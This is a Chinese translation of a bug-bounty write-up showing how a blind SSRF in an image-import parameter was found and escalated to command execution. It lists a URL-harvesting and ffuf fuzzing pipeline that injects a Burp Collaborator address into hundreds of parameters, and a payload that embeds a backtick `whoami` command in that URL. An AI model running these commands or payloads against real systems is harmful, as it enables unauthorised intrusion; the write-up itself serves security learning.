原文:
https://notifybugme.medium.com/chaining-an-blind-ssrf-bug-to-get-an-rce-92c09de3c0ba
大家好
我叫Santosh Kumar Sha,是一名来自印度(阿萨姆邦)的安全研究员。在本文中,我将讨论如何通过使用Blind SSRF获得RCE。
利用工具:
- gf (tomnomnom) — https://github.com/tomnomnom/gf
- qsreplace(tomnomnom) — https://github.com/tomnomnom/qsreplace))
- ffuf — https://github.com/ffuf/ffuf
- gau(Corben) — https://github.com/lc/gau
- waybackurls(tomnomnom) — https://github.com/tomnomnom/waybackurls
漏洞背景:
我一直想知道为什么厉害的的漏洞赏金猎人总是说要用漏洞链去利用。我在做一些侦察目标使用web实现我发现一个盲ssrf与参数命名为“next_image”的目标。
现在真正的挖掘开始了:
因此,假设目标名称为example.com,并且所有子域都在作用域内。像这样
范围:* .example.com
做一些信息收集,我提取所有的url从web实现使用waybackurls和gau。
这里是我使用的命令:
gau -subs example.com
waybackurls example.com
但是仍然有可能会丢失一些url。因此,为了减少丢失url的机会,我们在所有子域名上运行waybackurls。并grep出所有包含参数的url,并对它们进行唯一排序并保存在文件中。这样就可以进行盲测ssrf
使用命令:
gau -subs example.com; subfinder -d example.com -silent |waybackurls | gf ssrf | sort -u >> testblindssrf.txt
在搜索和排序url后,我们将其保存在一个名为“testblindssrf.txt”的文件中。现在我们用ffuf模糊测试盲打ssrf的url。
所以为了接收盲ssrf的http请求,我已经使用了我的burp服务器。但是testblindssrf.txt文件有900 url,所以,我使用qsreplace替换所有参数值burpcollaborator服务器有效负载和fuzz它与ffuf。
使用命令:
cat testblindssrf.txt | qsreplace “http://4v0er435p7gx4lx6432c7bdylprff4.burpcollaborator.net" >> ssrfuzz.txt
ffuf -c -w ssrfuzz.txt -u FUZZ -t 200
现在我将检查burp服务器上是否有http请求命中。
幸运的是,我得到了一个http请求命中我服务器的url。
存在漏洞的url:
http:/devtest.exampl.com/import/picture?next_image=http://4v0er435p7gx4lx6432c7bdylprff4.burpcollaborator.net

现在是时候尝试升级ssrf的影响了。
当我在想如何升级这些盲目的ssrf的时候,突然,我记得作为twitter的帖子,我不记得谁发布的提示的用户的名字,但我尝试了有效载荷检查rce。
payload:
http:/devtest.exampl.com/import/picture?next_image=http://4v0er435p7gx4lx6432c7bdylprff4.burpcollaborator.net?`whoami`
有一次,当我在浏览器上打开链接时,我收到了一个http请求,在我的burp服务器上执行“whoami”rce命令,如图所示。

译者:
小白表示哭了,还能这样,有没有大佬能提点一下这种情况下后端代码大概是咋写的T_T.....
本文迁移自知识星球“火线Zone”